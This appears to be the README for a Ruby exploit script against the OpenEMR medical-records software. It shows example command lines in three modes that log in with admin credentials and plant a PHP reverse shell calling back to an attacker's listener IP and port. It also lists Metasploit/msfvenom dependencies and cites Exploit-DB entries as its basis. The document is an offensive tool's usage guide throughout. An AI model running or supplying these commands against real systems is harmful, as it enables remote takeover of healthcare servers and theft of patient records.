Examples:
  exploit.rb manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123
  exploit.rb semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888
  exploit.rb auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999

Modes

• Auto: you know the target and have your listener ready, let the exploit handle the rest
• Semit-auto: same as auto but you would like to specify another payload than the default php/reverse_php
• Manual: you already have a custom PHP reverse shell, the exploit lets you specify it

Requirements

• httpclient
• docopt.rb
• (Optional) Metasploit Framework (msfvenom for reverse shell generation in auto and semi-auto modes)

Example for BlackArch:

pacman -S ruby-httpclient ruby-docopt metasploit

Example using gem:

gem install httpclient docopt

Reference

This is a better re-write of EDB-ID-48515 and implementation of EDB-ID-45202 part 2:

• using arguments (instead of hardcoded values)
• allowing custom PHP reverse shell or auto generating one with msfconsole
• cleaner & more customizable
• using ruby (python2 is deprecated)

This exploit was tested with Ruby 2.7.1.
